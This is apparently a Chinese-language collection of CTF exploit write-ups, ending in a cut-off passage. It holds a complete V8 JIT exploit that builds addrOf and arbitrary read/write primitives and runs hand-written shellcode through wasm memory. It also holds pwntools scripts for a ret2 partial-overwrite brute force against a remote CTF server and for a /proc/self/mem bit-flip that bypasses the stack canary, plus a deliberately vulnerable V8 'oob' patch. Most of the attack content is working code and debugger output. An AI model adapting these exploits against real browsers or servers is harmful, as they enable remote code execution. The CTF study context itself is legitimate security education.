"src/compiler/diamond.h",
+ "src/compiler/duplicate-addition-reducer.cc",
+ "src/compiler/duplicate-addition-reducer.h",
"src/compiler/effect-control-linearizer.cc",
"src/compiler/effect-control-linearizer.h",
"src/compiler/escape-analysis-reducer.cc",
diff --git a/src/compiler/duplicate-addition-reducer.cc b/src/compiler/duplicate-addition-reducer.cc
new file mode 100644
index 0000000000..59e8437f3d
--- /dev/null
+++ b/src/compiler/duplicate-addition-reducer.cc
@@ -0,0 +1,71 @@
+// Copyright 2018 Google LLC
+//
+// Licensed under the Apache License, Version 2.0 (the "License");
+// you may not use this file except in compliance with the License.
+// You may obtain a copy of the License at
+//
+// http://www.apache.org/licenses/LICENSE-2.0
+//
+// Unless required by applicable law or agreed to in writing, software
+// distributed under the License is distributed on an "AS IS" BASIS,
+// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+// See the License for the specific language governing permissions and
+// limitations under the License.
+#include "src/compiler/duplicate-addition-reducer.h"
+
+#include "src/compiler/common-operator.h"
+#include "src/compiler/graph.h"
+#include "src/compiler/node-properties.h"
+
+namespace v8 {
+namespace internal {
+namespace compiler {
+
+DuplicateAdditionReducer::DuplicateAdditionReducer(Editor* editor, Graph* graph,
+ CommonOperatorBuilder* common)
+ : AdvancedReducer(editor),
+ graph_(graph), common_(common) {}
+
+Reduction DuplicateAdditionReducer::Reduce(Node* node) {
+ switch (node->opcode()) {
+ case IrOpcode::kNumberAdd:
+ return ReduceAddition(node);
+ default:
+ return NoChange();
+ }
+}
+
+Reduction DuplicateAdditionReducer::ReduceAddition(Node* node) {
+ DCHECK_EQ(node->op()->ControlInputCount(), 0);
+ DCHECK_EQ(node->op()->EffectInputCount(), 0);
+ DCHECK_EQ(node->op()->ValueInputCount(), 2);
+
+ Node* left = NodeProperties::GetValueInput(node, 0);
+ if (left->opcode() != node->opcode()) {
+ return NoChange();
+ }
+
+ Node* right = NodeProperties::GetValueInput(node, 1);
+ if (right->opcode() != IrOpcode::kNumberConstant) {
+ return NoChange();
+ }
+
+ Node* parent_left = NodeProperties::GetValueInput(left, 0);
+ Node* parent_right = NodeProperties::GetValueInput(left, 1);
+ if (parent_right->opcode() != IrOpcode::kNumberConstant) {
+ return NoChange();
+ }
+
+ double const1 = OpParameter<double>(right->op());
+ double const2 = OpParameter<double>(parent_right->op());
+ Node* new_const = graph()->NewNode(common()->NumberConstant(const1+const2));
+
+ NodeProperties::ReplaceValueInput(node, parent_left, 0);
+ NodeProperties::ReplaceValueInput(node, new_const, 1);
+
+ return Changed(node);
+}
+
+} // namespace compiler
+} // namespace internal
+} // namespace v8
diff --git a/src/compiler/duplicate-addition-reducer.h b/src/compiler/duplicate-addition-reducer.h
new file mode 100644
index 0000000000..7285f1ae3e
--- /dev/null
+++ b/src/compiler/duplicate-addition-reducer.h
@@ -0,0 +1,60 @@
+/*
+ * Copyright 2018 Google LLC
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+#ifndef V8_COMPILER_DUPLICATE_ADDITION_REDUCER_H_
+#define V8_COMPILER_DUPLICATE_ADDITION_REDUCER_H_
+
+#include "src/base/compiler-specific.h"
+#include "src/compiler/graph-reducer.h"
+#include "src/globals.h"
+#include "src/machine-type.h"
+
+namespace v8 {
+namespace internal {
+namespace compiler {
+
+// Forward declarations.
+class CommonOperatorBuilder;
+class Graph;
+
+class V8_EXPORT_PRIVATE DuplicateAdditionReducer final
+ : public NON_EXPORTED_BASE(AdvancedReducer) {
+ public:
+ DuplicateAdditionReducer(Editor* editor, Graph* graph,
+ CommonOperatorBuilder* common);
+ ~DuplicateAdditionReducer() final {}
+
+ const char* reducer_name() const override { return "DuplicateAdditionReducer"; }
+
+ Reduction Reduce(Node* node) final;
+
+ private:
+ Reduction ReduceAddition(Node* node);
+
+ Graph* graph() const { return graph_;}
+ CommonOperatorBuilder* common() const { return common_; };
+
+ Graph* const graph_;
+ CommonOperatorBuilder* const common_;
+
+ DISALLOW_COPY_AND_ASSIGN(DuplicateAdditionReducer);
+};
+
+} // namespace compiler
+} // namespace internal
+} // namespace v8
+
+#endif // V8_COMPILER_DUPLICATE_ADDITION_REDUCER_H_
diff --git a/src/compiler/pipeline.cc b/src/compiler/pipeline.cc
index 5717c70348..8cca161ad5 100644
--- a/src/compiler/pipeline.cc
+++ b/src/compiler/pipeline.cc
@@ -27,6 +27,7 @@
#include "src/compiler/constant-folding-reducer.h"
#include "src/compiler/control-flow-optimizer.h"
#include "src/compiler/dead-code-elimination.h"
+#include "src/compiler/duplicate-addition-reducer.h"
#include "src/compiler/effect-control-linearizer.h"
#include "src/compiler/escape-analysis-reducer.h"
#include "src/compiler/escape-analysis.h"
@@ -1301,6 +1302,8 @@ struct TypedLoweringPhase {
data->jsgraph()->Dead());
DeadCodeElimination dead_code_elimination(&graph_reducer, data->graph(),
data->common(), temp_zone);
+ DuplicateAdditionReducer duplicate_addition_reducer(&graph_reducer, data->graph(),
+ data->common());
JSCreateLowering create_lowering(&graph_reducer, data->dependencies(),
data->jsgraph(), data->js_heap_broker(),
data->native_context(), temp_zone);
@@ -1318,6 +1321,7 @@ struct TypedLoweringPhase {
data->js_heap_broker(), data->common(),
data->machine(), temp_zone);
AddReducer(data, &graph_reducer, &dead_code_elimination);
+ AddReducer(data, &graph_reducer, &duplicate_addition_reducer);
AddReducer(data, &graph_reducer, &create_lowering);
AddReducer(data, &graph_reducer, &constant_folding_reducer);
AddReducer(data, &graph_reducer, &typed_optimization);

看似沒問題,但在 V8 中浮點數是用 IEEE 754 表示的,大於 Number.MAX_SAFE_INTEGEER 在計算時可能會出現問題
來個例子

由於節點的資料範圍是在 typer phase 計算的,而 duplicate_addition_reducer 是在 typer phase 之後的 typed lowering phase 被執行的,且 duplicate_addition_reducer 不會更新節點的範圍,可以利用這個機制進行 oob 讀寫

typer phase

typed lowering phase

PoC

1
2
3
4
5
6
7
8
9
10
11
12
function poc(a) {
let double_arr = [1.1, 1.2];
let x = a == 0 ? 9007199254740989 : 9007199254740992;
x = x + 1 + 1;
x -= 9007199254740991; //Range(0, 1), but actually Range(0, 3)
return double_arr[x];
}

for (let i = 0; i < 0x10000; i++){
poc(0);
}
console.log(poc(1));

成功越界讀取

Exploit

addrOf primitive

利用乘法可以擴大讀取範圍
可以調一下 index 讓 double_arr 讀取到 obj_arr 的 elements,這樣就能 leak address
%DebugPrint() 似乎會影響內存布局,這邊我用 –print-code 選項讓他印出編譯好的 assembly,找到 double_arr 載入 elements 的地方下斷點,這樣就能找到 elements 的位置,obj_arr 應該在 double_arr 下面一點的位置,慢慢 ni 然後看內存可以找到 element_arr 的 element,計算 offset 就可以找到正確的 index 了

1
2
3
4
5
6
7
8
9
10
function f(trigger, idx, obj){
let double_arr = [1.1, 1.2, 1.3, 1.4, 1.5, 1.6, 1.7, 1.8, 1.9];
let obj_arr = [{}];
let x = trigger == 0 ? 9007199254740989 : 9007199254740992;
x = x + 1 + 1;
x -= 9007199254740991;
x *= 6;
obj_arr[idx] = obj; // prevent obj_arr be optimized away
return ftoa(double_arr[x]);
}

fakeObj primitive

接下來嘗試用 oob 讀取 double_arr 的 map,但失敗了
有讀到看起來很像的東西,但在後續構造 arbitrary read/write 的時候失敗了,我找不到原因所以換個方法

arbitrary read/write primitive

嘗試宣告一個 ArrayBuffer 並在函數內部宣告一個 Float64Array,嘗試找到 Float64Array 存資料的 pointer
跟前面一樣在 double_arr 載入 elements 的位置下斷點

在下面一點的地方應該有這樣的 code,這邊是宣告 Float64Array 的地方,把斷點下在 call r10 後面

1
2
3
4
5
6
7
8
0x2879719c5ce3   123  48b90122804a61180000 REX.W movq rcx,0x18614a802201    ;; object: 0x18614a802201 <ArrayBuffer map = 0x34559a284aa1>
0x2879719c5ced 12d 488b75c8 REX.W movq rsi,[rbp-0x38]
0x2879719c5cf1 131 48b8594491476e380000 REX.W movq rax,0x386e47914459 ;; object: 0x386e47914459 <JSFunction Float64Array (sfi = 0xf1f45795eb9)>
0x2879719c5cfb 13b 498b55a0 REX.W movq rdx,[r13-0x60] (root (0x1e7f916825b1 <undefined>))
0x2879719c5cff 13f 488bd8 REX.W movq rbx,rax
0x2879719c5d02 142 488bfa REX.W movq rdi,rdx
0x2879719c5d05 145 49ba803f11c9ae550000 REX.W movq r10,0x55aec9113f80 (CreateTypedArray)
0x2879719c5d0f 14f 41ffd2 call r10

c 找到 double_arr 的 elements 之後下 c,double_array 後面應該會有 Float64Array,找到指向 buffer 的 pointer

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
gef➤  x/32gx 0x367469ba1c41-1
0x367469ba1c40: 0x00001e7f91683539 0x0000000900000000
0x367469ba1c50: 0x3ff199999999999a 0x3ff3333333333333
0x367469ba1c60: 0x3ff4cccccccccccd 0x3ff6666666666666
0x367469ba1c70: 0x3ff8000000000000 0x3ff999999999999a
0x367469ba1c80: 0x3ffb333333333333 0x3ffccccccccccccd
0x367469ba1c90: 0x3ffe666666666666 0x000034559a284c81
0x367469ba1ca0: 0x00001e7f91682d29 0x0000367469ba1ce1
0x367469ba1cb0: 0x000018614a802201 0x0000000000000000
0x367469ba1cc0: 0x0000010000000000 0x0000002000000000
0x367469ba1cd0: 0x0000000000000000 0x0000000000000000
0x367469ba1ce0: 0x00001e7f916845c9 0x0000002000000000
0x367469ba1cf0: 0x0000000000000000 0x000055aeca03d1f0
0x367469ba1d00: 0x00001e7f91683539 0x0000000900000000
0x367469ba1d10: 0x0000000000000000 0x3ff3333333333333
0x367469ba1d20: 0x3ff4cccccccccccd 0x3ff6666666666666
0x367469ba1d30: 0x3ff8000000000000 0x3ff999999999999a

gef➤ job 0x367469ba1c99
0x367469ba1c99: [JSTypedArray]
- map: 0x34559a284c81 <Map(FLOAT64_ELEMENTS)> [FastProperties]
- prototype: 0x386e47914559 <Object map = 0x34559a284cd1>
- elements: 0x367469ba1ce1 <FixedFloat64Array[32]> [FLOAT64_ELEMENTS]
- embedder fields: 2
- buffer: 0x18614a802201 <ArrayBuffer map = 0x34559a284aa1>
- byte_offset: 0
- byte_length: 256
- length: 32
- properties: 0x1e7f91682d29 <FixedArray[0]> {}
- elements: 0x367469ba1ce1 <FixedFloat64Array[32]> {
0-31: 0
}
- embedder fields = {
(nil)
(nil)
}

但 0x18614a802201 是個 object,真正存資料的地方是在 0x000055aeca03d1f0 這裡,這是一個 heap 上的位置

1
2
3
4
5
6
7
8
9
10
11
gef➤  telescope 0x18614a802201-1
0x000018614a802200│+0x0000: 0x000034559a284aa1 → 0x0800001e7f916822
0x000018614a802208│+0x0008: 0x00001e7f91682d29 → 0x0000001e7f916828
0x000018614a802210│+0x0010: 0x00001e7f91682d29 → 0x0000001e7f916828
0x000018614a802218│+0x0018: 0x0000010000000000
0x000018614a802220│+0x0020: 0x000055aeca03d1f0 → 0x0000000000000000
0x000018614a802228│+0x0028: 0x0000000000000004
0x000018614a802230│+0x0030: 0x0000000000000000
0x000018614a802238│+0x0038: 0x0000000000000000
0x000018614a802240│+0x0040: 0x00001e7f916833f9 → 0x0000001e7f916822
0x000018614a802248│+0x0048: 0x0000000000000000

而這個東西也在 double_arr 的附近,可以用 oob 改成我們要操作的地址並回傳一個新的 Float64Array,這樣就有任意位置讀寫了

1
2
3
4
5
6
7
8
9
10
11
12
13
var rw_buffer = new ArrayBuffer(0x100);

function g(trigger, idx, addr) {
let double_arr = [1.1, 1.2, 1.3, 1.4, 1.5, 1.6, 1.7, 1.8, 1.9];
let result = new Float64Array(rw_buffer);
let x = trigger == 0 ? 9007199254740989 : 9007199254740992;
x = x + 1 + 1;
x -= 9007199254740991;
x *= 7;
trigger = result[idx];
double_arr[x] = itof(addr);
return result;
}

透過 wasm 寫入 shellcode

後續利用就很簡單了,透過任意寫竄改 wasm 的內容就可以了

成功彈出計算機

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
var buffer = new ArrayBuffer(0x10);
var bigUnit64 = new BigInt64Array(buffer);
var float64 = new Float64Array(buffer);

function ftoi(value){
float64[0] = value;
return bigUnit64[0];
}

function itof(value){
bigUnit64[0] = value;
return float64[0];
}

function hex(value){
return "0x" + value.toString(16);
}

function ftoh(value){
return hex(ftoi(value));
}

function ftoa(value){
return ftoi(value) >> 1n << 1n;
}

function atof(value){
return itof(value | 1n);
}

function f(trigger, idx, obj){
let double_arr = [1.1, 1.2, 1.3, 1.4, 1.5, 1.6, 1.7, 1.8, 1.9];
let obj_arr = [{}];
let x = trigger == 0 ? 9007199254740989 : 9007199254740992;
x = x + 1 + 1;
x -= 9007199254740991;
x *= 6;
obj_arr[idx] = obj; // prevent obj_arr be optimized away
return ftoa(double_arr[x]);
}

for(let i = 0; i < 0x10000; i++){
f(0, 0, {});
}

var rw_buffer = new ArrayBuffer(0x100);

function g(trigger, idx, addr) {
let double_arr = [1.1, 1.2, 1.3, 1.4, 1.5, 1.6, 1.7, 1.8, 1.9];
let result = new Float64Array(rw_buffer);
let x = trigger == 0 ? 9007199254740989 : 9007199254740992;
x = x + 1 + 1;
x -= 9007199254740991;
x *= 7;
trigger = result[idx];
double_arr[x] = itof(addr);
return result;
}

for(let i = 0; i < 0x10000; i++){
g(0, 0, 0n);
}


function addrOf(obj){
return f(1, 0, obj);
}

function get_arr(addr){
if (addr % 2n == 0){
addr += 1n;
}
return g(1, 0, addr);
}
var wasmCode = new Uint8Array([0,97,115,109,1,0,0,0,1,133,128,128,128,0,1,96,0,1,127,3,130,128,128,128,0,1,0,4,132,128,128,128,0,1,112,0,0,5,131,128,128,128,0,1,0,1,6,129,128,128,128,0,0,7,145,128,128,128,0,2,6,109,101,109,111,114,121,2,0,4,109,97,105,110,0,0,10,138,128,128,128,0,1,132,128,128,128,0,0,65,42,11]);
var wasmModule = new WebAssembly.Module(wasmCode);
var wasmInstance = new WebAssembly.Instance(wasmModule);
var wasmInstance_addr = addrOf(wasmInstance);
console.log("wasm instance address: ", hex(wasmInstance_addr));

var tmp_arr = get_arr(wasmInstance_addr);
//theoretically it don't have to left shift, but idk why QwQ
//maybe there are some bug in my exp
var wasm_addr = ftoa(tmp_arr[0x1d]) << 8n;
console.log("wasm address: " + hex(wasm_addr));

var win_owob = get_arr(wasm_addr);

var shellcode = [
0x10101010101b848n, 0x62792eb848500101n, 0x431480101626d60n, 0x2f7273752fb84824n,
0x48e78948506e6962n, 0x1010101010101b8n, 0x6d606279b8485001n, 0x2404314801010162n,
0x1485e086a56f631n, 0x313b68e6894856e6n, 0x101012434810101n, 0x4c50534944b84801n,
0x6a52d231503d5941n, 0x894852e201485a08n, 0x50f583b6ae2n,
];
for (let i = 0; i < shellcode.length; i++){
win_owob[i] = itof(shellcode[i]);
}
wasmInstance.exports.main();

Balsn CTF 2023

這次跟 Starburst Kiwawa 打,運氣不錯有台灣前三
我只解掉 BabyPwn2023,我猜是非預期解XD

BabyPwn2023

Analysis

程式很短,洞也很明顯
但問題是我們這次沒有 pop rdi; ret 可以幫我們控 rdi 來 leak libc

1
2
3
4
5
6
7
terry1234@Ubuntu22:~/balsn/baby_pwn/share$ checksec  chal
[*] '/home/terry1234/balsn/baby_pwn/share/chal'
Arch: amd64-64-little
RELRO: Full RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x400000)
1
2
3
4
5
6
7
8
9
10
11
12
13
int __cdecl main(int argc, const char **argv, const char **envp)
{
__int64 v3; // rbp
__int64 v5; // [rsp-28h] [rbp-28h] //wrong
__int64 v6; // [rsp-8h] [rbp-8h]

__asm { endbr64 }
v6 = v3;
setvbuf_0(_bss_start, 0LL, 2LL, 0LL);
gets_0(&v5); //rbp-0x20
puts_0("Baby PWN 2023 :)");
return 0;
}

Idea

首先我們可以先看看 main() ret 前 rdi 指向哪
發現他指向 _IO_stdfile_1_lock,上面沒東西、_IO_2_1_stdout 在它前面,我在賽中沒想到怎麼用,賽後看到 lys 在 #writeups 傳了用這個的解法,貌似改 _IO_stdfile_0_lock 就能 leak tls-storage
我看不懂,但我大受震撼

後面我翻到這篇 writeup
https://song-10.gitee.io/2019/12/04/pwn-2019-12-4-wiki-ROPTricks/#2018-XNUCA-gets

概念其實很簡單,就像平常在繞 PIE 那樣 partial overwrite 就好,不過 gets() 會把我們的 \n 換成 \x00,所以要注意一下這點,其他地方其實差不多。如果我們能把 stack 上的一個值透過 partial overwrite 變成 one_gadget,我們就可以 get shell
當然,由於上面提到的 gets() 的特性,我們會要跟 ASLR 碰運氣,但機率還在可以接受的範圍內,多送幾次總有機會成功。
這邊我用第一個 one_gadget

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
0x50a37 posix_spawn(rsp+0x1c, "/bin/sh", 0, rbp, rsp+0x60, environ)
constraints:
rsp & 0xf == 0
rcx == NULL
rbp == NULL || (u16)[rbp] == NULL

0xebcf1 execve("/bin/sh", r10, [rbp-0x70])
constraints:
address rbp-0x78 is writable
[r10] == NULL || r10 == NULL
[[rbp-0x70]] == NULL || [rbp-0x70] == NULL

0xebcf5 execve("/bin/sh", r10, rdx)
constraints:
address rbp-0x78 is writable
[r10] == NULL || r10 == NULL
[rdx] == NULL || rdx == NULL

0xebcf8 execve("/bin/sh", rsi, rdx)
constraints:
address rbp-0x78 is writable
[rsi] == NULL || rsi == NULL
[rdx] == NULL || rdx == NULL

我們可以看看 stack 上有什麼值好蓋

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
//libc base addr = 0x00007ffff7c00000
gef➤ telescope
0x00007fffffffded8│+0x0000: 0x00007ffff7c29d90 → <__libc_start_call_main+128> mov edi, eax ← $rsp
0x00007fffffffdee0│+0x0008: 0x0000000000000000
0x00007fffffffdee8│+0x0010: 0x0000000000401176 → <main+0> endbr64
0x00007fffffffdef0│+0x0018: 0x0000000100000000
0x00007fffffffdef8│+0x0020: 0x00007fffffffdfe8 → 0x00007fffffffe33e → "/home/terry1234/balsn/baby_pwn/share/chal"
0x00007fffffffdf00│+0x0028: 0x0000000000000000
0x00007fffffffdf08│+0x0030: 0x5dc9144616cd8aba
0x00007fffffffdf10│+0x0038: 0x00007fffffffdfe8 → 0x00007fffffffe33e → "/home/terry1234/balsn/baby_pwn/share/chal"
0x00007fffffffdf18│+0x0040: 0x0000000000401176 → <main+0> endbr64
0x00007fffffffdf20│+0x0048: 0x0000000000403dc8 → 0x0000000000401140 → <__do_global_dtors_aux+0> endbr64

gef➤
0x00007fffffffdf28│+0x0050: 0x00007ffff7ffd040 → 0x00007ffff7ffe2e0 → 0x0000000000000000
0x00007fffffffdf30│+0x0058: 0xa236ebb9ab0f8aba
0x00007fffffffdf38│+0x0060: 0xa236fbc32c478aba
0x00007fffffffdf40│+0x0068: 0x00007fff00000000
0x00007fffffffdf48│+0x0070: 0x0000000000000000
0x00007fffffffdf50│+0x0078: 0x0000000000000000

0x00007fffffffdf58│+0x0080: 0x0000000000000000
0x00007fffffffdf60│+0x0088: 0x0000000000000000
0x00007fffffffdf68│+0x0090: 0xc3ae57ba9b7fd300
0x00007fffffffdf70│+0x0098: 0x0000000000000000

用 gdb 看可以發現 one_gadget 在這後面,蓋這裡會讓地址變低,撞不到 one_gadget

1
0x00007fffffffded8│+0x0000: 0x00007ffff7c29d90  →  <__libc_start_call_main+128> mov edi, eax	 ← $rsp

這裡看起來有點機會(ld-linux-x86-64.so.2 通常會被加載到 libc.so.6 還高的 address)

1
2
3
4
5
6
gef➤  
0x00007fffffffdf28│+0x0050: 0x00007ffff7ffd040 → 0x00007ffff7ffe2e0 → 0x0000000000000000

//in ld-linux-x86-64.so.2
gef➤ x/gx 0x00007ffff7ffd040
0x7ffff7ffd040 <_rtld_global>: 0x00007ffff7ffe2e0

exploit

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
from pwn import *

context.arch = 'amd64'
context.log_level = 'debug'
context.terminal = ['tmux', 'splitw', '-h']

#p = process('./chal')
elf = ELF('./chal')

main = elf.symbols['main']
puts = elf.symbols['puts']
gets = elf.symbols['gets']
bss = elf.bss()
ret = 0x40101a

for i in range(0, 0x2000):
print(hex(i))
#p = process('./chal', timeout = 2)
p = remote('babypwn2023.balsnctf.com', 10105)
p.sendline(b'a' * 0x20 + p64(bss + 0x800) + p64(ret) * 10 + b'\x37\x8a')
p.recvuntil(b'Baby PWN 2023 :)\n')
p.sendline(b'cat /home/chall/flag')
try:
data = p.recv()
print(data)
p.interactive()
p.close()
except Exception:
p.close()
continue

主辦方其實有發了一篇公告表示 BabyPwn2023 的機器一直有不小的流量,如果持續下去的話可能會調整一些東西,但我解完才看到 qwq
在這邊跟主辦方說聲抱歉

賽後有去跟那題機器的 maintainer 聊,對方表示有另一隊也是跟我們用類似的方法,不過他們有 leak 東西,用 1/4096 左右的機率在炸

Sekai CTF 2023 Writeup

周末都在 AIS3 Club,賽中只解出 Cosmic Ray

Cosmic Ray

用 IDA 打開後發現有 buffer overflow,但有開 canary,所以要想辦法 leak 或讓它壞掉
有給一個 win(),會直接輸出 flag

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
int __cdecl main(int argc, const char **argv, const char **envp)
{
__int64 v3; // rbp
int result; // eax
__int64 addr; // [rsp-40h] [rbp-40h]
__int64 v6; // [rsp-38h] [rbp-38h]
unsigned __int64 v7; // [rsp-10h] [rbp-10h]
__int64 v8; // [rsp-8h] [rbp-8h]

__asm { endbr64 }
v8 = v3;
v7 = __readfsqword(0x28u);
setbuf_0(_bss_start, 0LL, envp);
puts_0("Welcome to my revolutionary new cosmic ray machine!");
puts_0("Give me any address in memory and I'll send a cosmic ray through it:");
scanf("0x%lx", &addr);
getchar_0("0x%lx", &addr);
cosmic_ray((__int64)&v8, addr);
puts_0("Please write a review of your experience today:");
gets_0(&v6);
result = 0;
__readfsqword(0x28u);
return result;
}

跟進去 cosmic_ray(),發現它會把我們給的 address 裡的資料取出來,可以選擇翻轉其中 1 bit 再把資料寫回去

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
unsigned __int64 __usercall cosmic_ray@<rax>(__int64 a1@<rbp>, __int64 addr@<rdi>)
{
__int64 v2; // rsi
int idx; // [rsp-34h] [rbp-34h]
signed int i; // [rsp-30h] [rbp-30h]
unsigned int v6; // [rsp-2Ch] [rbp-2Ch]
_BYTE *bin_arr; // [rsp-28h] [rbp-28h]
__int64 v8; // [rsp-20h] [rbp-20h]
__int16 v9; // [rsp-12h] [rbp-12h]
unsigned __int64 v10; // [rsp-10h] [rbp-10h]
__int64 v11; // [rsp-8h] [rbp-8h]

__asm { endbr64 }
v11 = a1;
v10 = __readfsqword(0x28u);
v6 = open_0("/proc/self/mem", 2LL);
lseek_0(v6, addr, 0LL);
read_0(v6, &v9, 1LL);
bin_arr = get_bin(v9);
puts_0("\n|0|1|2|3|4|5|6|7|");
printf_0();
for ( i = 0; i <= 7; ++i )
{
v2 = (unsigned int)(char)bin_arr[i];
printf_0();
}
puts_0("\n\nEnter a bit position to flip (0-7):");
scanf("%d", &idx);
getchar_0("%d", &idx);
if ( idx < 0 || idx > 7 )
exit_0(1LL);
v8 = flip_bit((__int64)bin_arr, idx);
HIBYTE(v9) = binary_to_byte((__int64)&v11, v8);
printf_0();
lseek_0(v6, addr, 0LL);
write_0();
return v10 - __readfsqword(0x28u);
}

看了 flit_bit() 與 binary_to_byte() 都沒發現漏洞,後面也沒有發現可以做 leak 的地方
由於它是 Partial RELRO 的關係,有想到透過 GOT Hijacking 來把 puts() gets() __stack_check_fail() 其中一個的 GOT 寫成 win(),但用 gdb 看一下發現地址差得有點多,無法只透過翻 1 bit 來改成 win()

回去看 cosmic_ray() 發現它是透過讀寫 /proc/self/mem 來完成操作的,之前打 Google CTF 2023 時有遇到一題 write-flag-where 也是類似的作法,由於讀寫 /proc/self/mem 可以無視 pages 的權限,所以可以更改 .text 段的內容。

這邊可以將 jz(opcode = 0x74) 寫成 jnz(opcode = 0x75),使程式不呼叫 __stack_check_fail() 來通過檢查

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
from pwn import *

context.arch = 'amd64'
context.log_level = 'debug'
context.terminal = ['tmux', 'splitw', '-h']

p = remote('chals.sekai.team', 4077)
#p = process('./cosmicray')
elf = ELF('./cosmicray')

win = elf.symbols['win']

#0x74 -> 0x75
#jz -> jnz
p.recvuntil(b':\n')
p.sendline(hex(0x4016f4))
p.recvuntil(b':\n')
p.sendline(b'7')
p.recvuntil(b':')
p.sendline(b'a' * 0x38 + p64(win))

p.interactive()

環境搭建

這邊使用Ubuntu 18.04

1
2
3
4
git reset --hard 6dc88c191f5ecc5389dc26efa3ca0907faef3598
git checkout
git apply oob.diff
tools/dev/gm.py x64.release

patch 分析

給 array 新增了一個 oob() method,可以做到一個 index 範圍的越界讀寫

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
diff --git a/src/bootstrapper.cc b/src/bootstrapper.cc
index b027d36..ef1002f 100644
--- a/src/bootstrapper.cc
+++ b/src/bootstrapper.cc
@@ -1668,6 +1668,8 @@ void Genesis::InitializeGlobal(Handle<JSGlobalObject> global_object,
Builtins::kArrayPrototypeCopyWithin, 2, false);
SimpleInstallFunction(isolate_, proto, "fill",
Builtins::kArrayPrototypeFill, 1, false);
+ SimpleInstallFunction(isolate_, proto, "oob",
+ Builtins::kArrayOob,2,false);
SimpleInstallFunction(isolate_, proto, "find",
Builtins::kArrayPrototypeFind, 1, false);
SimpleInstallFunction(isolate_, proto, "findIndex",
diff --git a/src/builtins/builtins-array.cc b/src/builtins/builtins-array.cc
index 8df340e..9b828ab 100644
--- a/src/builtins/builtins-array.cc
+++ b/src/builtins/builtins-array.cc
@@ -361,6 +361,27 @@ V8_WARN_UNUSED_RESULT Object GenericArrayPush(Isolate* isolate,
return *final_length;
}
} // namespace
+BUILTIN(ArrayOob){
+ uint32_t len = args.length();
+ if(len > 2) return ReadOnlyRoots(isolate).undefined_value();
+ Handle<JSReceiver> receiver;
+ ASSIGN_RETURN_FAILURE_ON_EXCEPTION(
+ isolate, receiver, Object::ToObject(isolate, args.receiver()));
+ Handle<JSArray> array = Handle<JSArray>::cast(receiver);
+ FixedDoubleArray elements = FixedDoubleArray::cast(array->elements());
+ uint32_t length = static_cast<uint32_t>(array->length()->Number());
+ if(len == 1){
+ //read
+ return *(isolate->factory()->NewNumber(elements.get_scalar(length)));
+ }else{
+ //write
+ Handle<Object> value;
+ ASSIGN_RETURN_FAILURE_ON_EXCEPTION(
+ isolate, value, Object::ToNumber(isolate, args.at<Object>(1)));
+ elements.set(length,value->Number());
+ return ReadOnlyRoots(isolate).undefined_value();
+ }
+}

BUILTIN(ArrayPush) {
HandleScope scope(isolate);
diff --git a/src/builtins/builtins-definitions.h b/src/builtins/builtins-definitions.h
index 0447230..f113a81 100644
--- a/src/builtins/builtins-definitions.h
+++ b/src/builtins/builtins-definitions.h
@@ -368,6 +368,7 @@ namespace internal {
TFJ(ArrayPrototypeFlat, SharedFunctionInfo::kDontAdaptArgumentsSentinel) \
/* https://tc39.github.io/proposal-flatMap/#sec-Array.prototype.flatMap */ \
TFJ(ArrayPrototypeFlatMap, SharedFunctionInfo::kDontAdaptArgumentsSentinel) \
+ CPP(ArrayOob) \
\
/* ArrayBuffer */ \
/* ES #sec-arraybuffer-constructor */ \
diff --git a/src/compiler/typer.cc b/src/compiler/typer.cc
index ed1e4a5..c199e3a 100644
--- a/src/compiler/typer.cc
+++ b/src/compiler/typer.cc
@@ -1680,6 +1680,8 @@ Type Typer::Visitor::JSCallTyper(Type fun, Typer* t) {
return Type::Receiver();
case Builtins::kArrayUnshift:
return t->cache_->kPositiveSafeInteger;
+ case Builtins::kArrayOob:
+ return Type::Receiver();

// ArrayBuffer functions.
case Builtins::kArrayBufferIsView:

漏洞利用

這版本的 v8 沒有使用 pointer compression,所以一些偏移量會跟現在的 v8 不同

addressOf & fakeObj primitive

可以利用 oob() 讀寫 map,造成 type confusion
定義幾個函數實現型態轉換,並利用 type confusion 撰寫 addressOf 與 fakeObj primitive

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
// type convert
var buffer = new ArrayBuffer(0x8);
var float64 = new Float64Array(buffer);
var BigUint64 = new BigUint64Array(buffer);

function ftoi(value){
float64[0] = value;
return BigUint64[0];
}

function itof(value){
BigUint64[0] = value;
return float64[0];
}

function hex(value){
return "0x" + value.toString(16);
}

// type confusion
var obj = {"a":1};
var obj_arr = [obj];
var float64_arr = [1.1];
var obj_arr_map = obj_arr.oob();
